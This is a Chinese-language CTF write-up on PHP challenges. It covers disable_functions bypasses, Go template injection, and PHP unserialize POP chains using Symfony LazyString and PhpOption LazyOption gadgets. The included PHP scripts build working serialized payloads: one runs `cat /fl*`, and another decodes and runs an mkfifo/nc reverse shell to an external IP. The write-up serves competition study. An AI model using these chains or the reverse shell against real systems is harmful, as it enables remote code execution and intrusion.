前言
PHP Unserialize CTF,一个链子改一步打三个题。也许是非预期吧。
Rceme
取反配合之前绕过pboot的[xxx][0]()
拿本地的所有函数。和靶机的disable_function比较。
剩下几个函数(除去curl一些拓展函数)
strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders
这里逗号没了。无法传参。利用可变参数列表绕过
[xxx][0](...[xxx][0]())
构造
create_function(...unserialize(end(getallheaders())))
传array(代码注入)反序列化变成两个参数传入create_function
create_funtion本质是语法解析的。可以直接注入eval
然后putenv也在。highlight_file也在。拿iconv触发就行。
用splfileobject写so
Loginme
https://github.com/gin-gonic/gin/issues/2697
X-real-ip绕过
然后golang 模板注入{{.}}
一个还是两个大括号来着。。拿到flag
Upload_it
文件上传。可以覆盖任意文件
并且有组件依赖,session会自动反序列化拿其中的upload_path拼接。
可以触发tostring
配合之前祥云杯的匿名函数。一把嗦
中间那个类为其他链子测试的。忘删了。
upload it 2
一样的套路。多了个backdoor,array(类名,方法)
文件包含session。反序列化里加个属性值为php代码就行
<?php
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct($a){
$this->value=$a;
}
}
}
namespace {
class sandbox{
private $evil;
public $a='<?php system("cat /fl*");?>';
public function __construct($a){
$this->evil=$a;
}
}
use Symfony\Component\String\LazyString;
echo file_put_contents("guoke.php","upload_path|".serialize(new LazyString([new sandbox("/tmp/sess_e973fc5850db8d832ca13ede62921122"),"backdoor"])));
}
ezosu
可以写入任意的session输入
一样的套路。反序列化。把属性输出。
还是一样的任意类任意方法调用。
找个call_user_func_array。参数都可控。但是是private。
当前类很多调用。随便整。
<?php
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value=$value;
}
}
}
namespace PhpOption{
final class LazyOption{
public $callback;
public $arguments;
public function __construct($callback,$arguments){
$this->callback=$callback;
$this->arguments=$arguments;
}
}
}
namespace {
use Symfony\Component\String\LazyString;
$la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xNS42Ny4xNDIgMTMzNyA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);
#docker没bash
echo urlencode(serialize($la));
}
用test|反序列化数据。|
php反序列化的格式。
#FUMO_on_the_Christmas_tree
一开始写了个正向正则匹配的。发现太JB麻烦了
这题反正最后利用是readfile。可以分为以下几种情况。
1、参数不匹配的
2、参数带hash函数的
把所有带readfile的方法拿出来。然后匹配到参数不匹配和带hash。base64_encode的就少一半
再获取方法名。匹配上一级。判断hash函数。又掉一半
再写个计数器。判断是否base64_encode之后没decode
这样匹配三层调用后。最终就剩下了20个左右。
再写个脚本。根据这20个可利用的危险函数。反向匹配函数名。一级一级往上调用
遇到hash函数就pass
遇到参数不匹配也pass
定义的方法没调用的也pass
最后就出来结果了。
脚本写的太混乱了。就不放了。
过几天看脚本。都看不懂写了啥😂